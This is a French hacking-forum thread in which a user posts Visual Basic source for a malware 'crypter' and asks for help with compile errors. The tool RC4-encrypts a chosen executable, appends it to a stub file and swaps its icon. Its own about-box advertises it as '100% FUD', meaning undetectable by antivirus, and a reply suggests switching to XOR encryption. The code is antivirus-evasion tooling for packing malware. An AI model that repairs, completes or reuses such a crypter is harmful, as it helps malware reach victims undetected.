• Bienvenue à tous sur HackandModz !
  1. Ce site utilise des cookies. En continuant à utiliser ce site, vous acceptez l'utilisation des cookies. En savoir plus.
Rejeter la notice
Visiteur,
Bienvenue sur Hack & Modz

Question Je n'arrive a résoudre l'erreur de mon logiciel.

Discussion dans 'Questions, aides & recherches' créé par MyYz, Oct 26, 2016.

Tags:
  1. MyYz

    MyYz Membre

    8
    1
    33
    Hors Ligne
    Salut,je n'arrive pas a résoudre mon erreur pour mon logiciel de cryptage quelqu'un pourrais me dire comment résoudre l'erreur.La première erreur et en rouge c'est l'erreur avec le petit logo erreur en dessou et la 2ème est en bleu c'est l'erreur qui et souligner en bleu mais sans le logo erreur en dessou.Pour plus d'explication venez en mp.J'espère que j'ai été claire dans mais explication ;).
    le code d'erreur de la première erreur est:
    Erreur 1 'RC4' n'est pas déclaré. Il peut être inaccessible en raison de son niveau de protection.
    Est la 2ème erreur est :
    Erreur 2 Instruction non valide dans un espace de noms.

    Imports System.Text

    Public Class Form1
    Const filesplit = "842679135"
    Dim fichier, icone As String
    Dim file As String



    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
    MessageBox.Show("By:MyEzioModz")
    TextBox2.Text = "Open your file-Ouvrir un fichier"
    TextBox1.Text = "Change icone"
    End Sub

    Private Sub CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox2.CheckedChanged
    Button5.Text = "about"
    Button4.Text = "close:triste:"
    Button3.Text = "ENCRYPTS!!"
    Button2.Text = "Change icone"
    Button1.Text = "Open your file"
    CheckBox1.Text = "French"
    End Sub

    Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged
    Button5.Text = "A suivre"
    Button4.Text = "FERMER :triste:"
    Button3.Text = "CRYPTER!!!"
    Button2.Text = "Changer l'icone "
    Button1.Text = "Ouvrir un fichier"
    CheckBox1.Text = "Francais"
    End Sub

    Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
    MessageBox.Show("FRANCAIS:Ce crypteur 100%FUD a été codé par MyEzioModz se n'est pas une version definitive quand il ne s'aura plus 100%FUD je refrais une nouvelle version 100%FUD :) MERCI D'AVOIR TELECHARGER MyEzioCrypter!!! ENGLISH:This encrypt 100% FUD is done by encrypting the MyEzioModz will have another version It encrypts 100% FUD :) is done by encrypting the MyEzioModz Reviews another will-have release !!! ")
    End Sub

    Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
    Close()

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    Dim x As New OpenFileDialog
    x.Filter = "Exécutables |*.exe"
    x.InitialDirectory = "/VotreDossier"
    x.Multiselect = False
    Button1.Enabled = True
    If x.ShowDialog = Windows.Forms.DialogResult.OK Then
    TextBox1.Text = x.FileName
    Else
    MsgBox("Ta ma mis en colère ta pas ouvert de fichier :triste: !")

    TextBox2.Text = "aucun fichier :triste: !"
    End If
    End Sub
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    Dim openfdlg As New OpenFileDialog
    openfdlg.Filter = "Executables *.ico|*.ico"
    If openfdlg.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = openfdlg.FileName Else TextBox1.Text = ""
    End Sub


    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
    ProgressBar1.Maximum = 25


    fichier = TextBox2.Text
    icone = TextBox1.Text
    Iconchanger.InjectIcon(fichier, icone)
    TextBox2.Clear()
    TextBox1.Clear()
    TextBox2.Text = "Open your file-Ouvrir un fichier"
    TextBox1.Text = "Change icone"
    Dim filein, filename, stub As String
    Dim sfd As New SaveFileDialog
    sfd.Filter = "Exécutables |*.exe "
    If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
    filename = sfd.FileName
    Else : Exit Sub
    End If
    FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read,
    OpenShare.Default)
    filein = Space(LOF(1))
    FileGet(1, filein)
    FileClose(1)
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary,
    OpenAccess.Read, OpenShare.Default)
    stub = Space(LOF(1))
    FileGet(1, stub)
    FileClose(1)
    FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite,
    OpenShare.Default)

    FilePut(1, stub & filesplit & RC4(filein, "123456789"))
    FileClose(1)

    ProgressBar1.Value = 25

    MessageBox.Show("Icone changer---Icon changed")
    MsgBox("Le fichier est crypté ! ")



    End Sub
    End Class


    Public Function RC4(ByVal message As String, ByVal password As String) As String
    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder
    Dim returnCipher As String = String.Empty
    Dim sbox As Integer() = New Integer(256) {}
    Dim key As Integer() = New Integer(256) {}
    Dim intLength As Integer = password.Length
    Dim a As Integer = 0
    While a <= 255
    Dim ctmp As Char = (password.Substring((a Mod intLength),
    1).ToCharArray()(0))
    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    Dim x As Integer = 0
    Dim b As Integer = 0
    While b <= 255
    x = (x + sbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbox(b)
    sbox(b) = sbox(x)
    sbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
    End While
    a = 1
    While a <= message.Length
    Dim itmp As Integer = 0
    i = (i + 1) Mod 256
    j = (j + sbox(i)) Mod 256
    itmp = sbox(i)
    sbox(i) = sbox(j)
    sbox(j) = itmp
    Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
    itmp = Asc(ctmp)
    Dim cipherby As Integer = itmp Xor k
    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    returnCipher = cipher.ToString
    cipher.Length = 0
    Return returnCipher
    End Function



     
  2. Google AdSense Publicités Publicités

  • Hacktentiel123

    Hacktentiel123 Membre actif

    66
    5
    38
    Hors Ligne
    je vois se que tu veut faire mais je genre de crypter n'est plus fud
     
  • MyYz

    MyYz Membre

    8
    1
    33
    Hors Ligne
    je sais que c est plus fud c'est pour m entrainer et après je l'améliore pour le rendre fud.
     
  • Hacktentiel123

    Hacktentiel123 Membre actif

    66
    5
    38
    Hors Ligne
    Je vois mais pour ton erreur essaye de changer l'encryption genre la c'est du RC4 tu change en XOR par example